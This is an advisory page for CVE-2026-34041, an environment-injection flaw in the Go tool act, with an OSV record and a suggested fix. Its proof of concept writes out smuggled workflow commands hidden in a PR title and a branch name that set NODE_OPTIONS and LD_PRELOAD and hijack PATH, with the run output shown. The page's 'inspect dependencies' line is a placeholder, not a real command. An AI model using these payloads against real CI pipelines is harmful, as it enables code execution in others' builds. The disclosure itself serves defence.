CVE-2026-34041: act Unrestricted Set-env And Add-path Command Vulnerability

HIGH
Advisory Identifier: GHSA-xmgr-9pqc-h5vw
CWE-74
Published
Advisory Summary

CVE-2026-34041 is a HIGH unrestricted set-env and add-path command vulnerability (CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')) affecting act libraries in the Go ecosystem. The issue involves unrestricted set-env and add-path command processing enables environment injection. Remediation is available by upgrading affected packages to version 0.2.86.

CVE-2026-34041 at a Glance

CVE Identifier CVE-2026-34041
GHSA Identifier GHSA-xmgr-9pqc-h5vw
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Affected Product act
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-34041

To remediate this vulnerability, upgrade all affected act dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/nektos/act fixed: 0.2.86
Upgrade github.com/nektos/act to 0.2.86
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/nektos/act

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34041, inspect your project dependencies for act:

inspect dependencies for github.com/nektos/act

Analyze the terminal output to locate any version of act in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.86), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), where the product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component. In act, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary act unconditionally processes the deprecated `::set-env::` and `::add-path::` workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes `act` strictly less secure than GitHub Actions for the same workflow file. ## Vulnerable Code **`pkg/runner/command.go`, lines 52-58:** ```go switch command { case "set-env": rc.setEnv(ctx, kvPairs, arg) case "set-output": rc.setOutput(ctx, kvPairs, arg) case "add-path": rc.addPath(ctx, arg) ``` There is no check for the `ACTIONS_ALLOW_UNSECURE_COMMANDS` environment variable. The string `ACTIONS_ALLOW_UNSECURE_COMMANDS` does not appear anywhere in the act codebase. On GitHub Actions, these commands are rejected unless `ACTIONS_ALLOW_UNSECURE_COMMANDS=true` is set: ``` Error: The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true. ``` ## PoC: Environment and PATH Injection via PR Title **Tested on:** act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0 **Step 1 — Create a workflow that logs PR metadata:** `.github/workflows/vuln.yml`: ```yaml name: Vulnerable Workflow on: [pull_request] jobs: build: runs-on: ubuntu-latest steps: - name: Log PR info run: | echo "Processing PR: ${{ github.event.pull_request.title }}" - name: Subsequent step - check environment run: | echo "=== Environment Injection Check ===" echo "NODE_OPTIONS=$NODE_OPTIONS" echo "EVIL_VAR=$EVIL_VAR" echo "PATH=$PATH" ``` **Step 2 — Create a malicious event payload:** `event.json`: ```json { "pull_request": { "title": "Fix typo\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin", "number": 1, "head": { "ref": "fix-typo", "sha": "abc123" }, "base": { "ref": "main", "sha": "def456" } } } ``` **Step 3 — Run:** ```bash git init && git add -A && git commit -m "init" act pull_request -e event.json ``` **Result:** ``` [Vulnerable Workflow/build] | Processing PR: Fix typo [Vulnerable Workflow/build] ⚙ ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER [Vulnerable Workflow/build] ⚙ ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] ⚙ ::add-path:: /tmp/evil-bin [Vulnerable Workflow/build] ✅ Success - Main Log PR info [Vulnerable Workflow/build] | === Environment Injection Check === [Vulnerable Workflow/build] | NODE_OPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] | EVIL_VAR=INJECTED_BY_ATTACKER [Vulnerable Workflow/build] | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [Vulnerable Workflow/build] | EXPLOITED: EVIL_VAR was injected into this step! [Vulnerable Workflow/build] ✅ Success [Vulnerable Workflow/build] 🏁 Job succeeded ``` All three injections succeeded silently: - `EVIL_VAR=INJECTED_BY_ATTACKER` — arbitrary env var injected into subsequent step - `NODE_OPTIONS=--require=/tmp/evil.js` — Node.js code execution vector - `/tmp/evil-bin` prepended to PATH — command hijacking vector ## Attack Scenarios **Scenario 1: Malicious PR title/body.** An attacker opens a PR with `::set-env name=NODE_OPTIONS::--require=/tmp/evil.js` embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds. **Scenario 2: Malicious branch name.** `${{ github.head_ref }}` is attacker-controlled. A branch named `fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so` can inject `LD_PRELOAD`, which causes every subsequent dynamically-linked binary to load the attacker's shared library. **Scenario 3: Commit message injection.** If a step runs `git log --oneline` and the output flows to stdout, an attacker's commit message containing `::set-env::` commands will be processed. ## Impact - **Command injection** via env vars: `LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, `PERL5OPT` all enable arbitrary code execution - **PATH hijacking**: attacker-controlled directory prepended to PATH hijacks any subsequent command - **Cross-step escalation**: a step that merely logs untrusted data compromises all subsequent steps - **Supply chain risk**: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security ## Suggested Fix Add a check matching GitHub Actions' behavior: ```go case "set-env": if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" { logger.Errorf("The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true") return false } rc.setEnv(ctx, kvPairs, arg) case "add-path": if rc.Env["ACTIONS_ALLOW_UNSECURE_COMMANDS"] != "true" { logger.Errorf("The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true") return false } rc.addPath(ctx, arg) ``` This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via `ACTIONS_ALLOW_UNSECURE_COMMANDS=true`, matching GitHub's approach. --- Written by Golan Myers

CVE-2026-34041 Affected act Versions

1 component(s)
Fixed Versions:
0.2.86
Product / Package Ecosystem Affected Versions Fixed Version
github.com/nektos/act
Go
< 0.2.86
0.2.86

References

Frequently Asked Questions

What is CVE-2026-34041?
CVE-2026-34041 is a security vulnerability in act involving Unrestricted set-env and add-path command processing enables environment injection under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').
Which act versions are affected?
Affected versions include releases prior to 0.2.86 across affected packages: github.com/nektos/act.
What version fixes CVE-2026-34041?
Upgrading to 0.2.86 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/nektos/act affected?
Yes, github.com/nektos/act is affected in releases prior to 0.2.86. Upgrade your dependency to 0.2.86 or later.
What CWE is associated with CVE-2026-34041?
CVE-2026-34041 is classified under CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.).
How can I check Go dependencies for CVE-2026-34041?
Run the dependency tree command: 'inspect dependencies for github.com/nektos/act'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xmgr-9pqc-h5vw",
  "modified" : "2026-03-31T18:40:50Z",
  "published" : "2026-03-27T19:17:00Z",
  "aliases" : [ "CVE-2026-34041" ],
  "summary" : "act: Unrestricted set-env and add-path command processing enables environment injection",
  "details" : "## Summary\n\nact unconditionally processes the deprecated `::set-env::` and `::add-path::` workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes `act` strictly less secure than GitHub Actions for the same workflow file.\n\n## Vulnerable Code\n\n**`pkg/runner/command.go`, lines 52-58:**\n\n```go\nswitch command {\ncase \"set-env\":\n    rc.setEnv(ctx, kvPairs, arg)\ncase \"set-output\":\n    rc.setOutput(ctx, kvPairs, arg)\ncase \"add-path\":\n    rc.addPath(ctx, arg)\n```\n\nThere is no check for the `ACTIONS_ALLOW_UNSECURE_COMMANDS` environment variable. The string `ACTIONS_ALLOW_UNSECURE_COMMANDS` does not appear anywhere in the act codebase.\n\nOn GitHub Actions, these commands are rejected unless `ACTIONS_ALLOW_UNSECURE_COMMANDS=true` is set:\n\n```\nError: The `set-env` command is disabled. Please upgrade to using Environment Files\n  or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true.\n```\n\n## PoC: Environment and PATH Injection via PR Title\n\n**Tested on:** act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0\n\n**Step 1 — Create a workflow that logs PR metadata:**\n\n`.github/workflows/vuln.yml`:\n```yaml\nname: Vulnerable Workflow\non: [pull_request]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Log PR info\n        run: |\n          echo \"Processing PR: ${{ github.event.pull_request.title }}\"\n\n      - name: Subsequent step - check environment\n        run: |\n          echo \"=== Environment Injection Check ===\"\n          echo \"NODE_OPTIONS=$NODE_OPTIONS\"\n          echo \"EVIL_VAR=$EVIL_VAR\"\n          echo \"PATH=$PATH\"\n```\n\n**Step 2 — Create a malicious event payload:**\n\n`event.json`:\n```json\n{\n  \"pull_request\": {\n    \"title\": \"Fix typo\\n::set-env name=EVIL_VAR::INJECTED_BY_ATTACKER\\n::set-env name=NODE_OPTIONS::--require=/tmp/evil.js\\n::add-path::/tmp/evil-bin\",\n    \"number\": 1,\n    \"head\": { \"ref\": \"fix-typo\", \"sha\": \"abc123\" },\n    \"base\": { \"ref\": \"main\", \"sha\": \"def456\" }\n  }\n}\n```\n\n**Step 3 — Run:**\n\n```bash\ngit init && git add -A && git commit -m \"init\"\nact pull_request -e event.json\n```\n\n**Result:**\n\n```\n[Vulnerable Workflow/build]   | Processing PR: Fix typo\n[Vulnerable Workflow/build]   ⚙  ::set-env:: EVIL_VAR=INJECTED_BY_ATTACKER\n[Vulnerable Workflow/build]   ⚙  ::set-env:: NODE_OPTIONS=--require=/tmp/evil.js\n[Vulnerable Workflow/build]   ⚙  ::add-path:: /tmp/evil-bin\n[Vulnerable Workflow/build]   ✅  Success - Main Log PR info\n\n[Vulnerable Workflow/build]   | === Environment Injection Check ===\n[Vulnerable Workflow/build]   | NODE_OPTIONS=--require=/tmp/evil.js\n[Vulnerable Workflow/build]   | EVIL_VAR=INJECTED_BY_ATTACKER\n[Vulnerable Workflow/build]   | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n[Vulnerable Workflow/build]   | EXPLOITED: EVIL_VAR was injected into this step!\n[Vulnerable Workflow/build]   ✅  Success\n[Vulnerable Workflow/build] 🏁  Job succeeded\n```\n\nAll three injections succeeded silently:\n- `EVIL_VAR=INJECTED_BY_ATTACKER` — arbitrary env var injected into subsequent step\n- `NODE_OPTIONS=--require=/tmp/evil.js` — Node.js code execution vector\n- `/tmp/evil-bin` prepended to PATH — command hijacking vector\n\n## Attack Scenarios\n\n**Scenario 1: Malicious PR title/body.** An attacker opens a PR with `::set-env name=NODE_OPTIONS::--require=/tmp/evil.js` embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.\n\n**Scenario 2: Malicious branch name.** `${{ github.head_ref }}` is attacker-controlled. A branch named `fix-typo%0A::set-env name=LD_PRELOAD::/tmp/evil.so` can inject `LD_PRELOAD`, which causes every subsequent dynamically-linked binary to load the attacker's shared library.\n\n**Scenario 3: Commit message injection.** If a step runs `git log --oneline` and the output flows to stdout, an attacker's commit message containing `::set-env::` commands will be processed.\n\n## Impact\n\n- **Command injection** via env vars: `LD_PRELOAD`, `NODE_OPTIONS`, `PYTHONPATH`, `BASH_ENV`, `PERL5OPT` all enable arbitrary code execution\n- **PATH hijacking**: attacker-controlled directory prepended to PATH hijacks any subsequent command\n- **Cross-step escalation**: a step that merely logs untrusted data compromises all subsequent steps\n- **Supply chain risk**: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security\n\n## Suggested Fix\n\nAdd a check matching GitHub Actions' behavior:\n\n```go\ncase \"set-env\":\n    if rc.Env[\"ACTIONS_ALLOW_UNSECURE_COMMANDS\"] != \"true\" {\n        logger.Errorf(\"The `set-env` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true\")\n        return false\n    }\n    rc.setEnv(ctx, kvPairs, arg)\ncase \"add-path\":\n    if rc.Env[\"ACTIONS_ALLOW_UNSECURE_COMMANDS\"] != \"true\" {\n        logger.Errorf(\"The `add-path` command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONS_ALLOW_UNSECURE_COMMANDS=true\")\n        return false\n    }\n    rc.addPath(ctx, arg)\n```\n\nThis is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via `ACTIONS_ALLOW_UNSECURE_COMMANDS=true`, matching GitHub's approach.\n\n---\n\nWritten by Golan Myers",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/nektos/act"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.86"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.2.85"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nektos/act/security/advisories/GHSA-xmgr-9pqc-h5vw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34041"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nektos/act/commit/0c739c8e39c41aa5a07665f732da9cab6df0097a"
  }, {
    "type" : "ADVISORY",
    "url" : "https://github.com/advisories/GHSA-mfwh-5m23-j46w"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nektos/act"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nektos/act/releases/tag/v0.2.86"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T19:17:00Z",
    "nvd_published_at" : "2026-03-31T03:15:58Z"
  }
}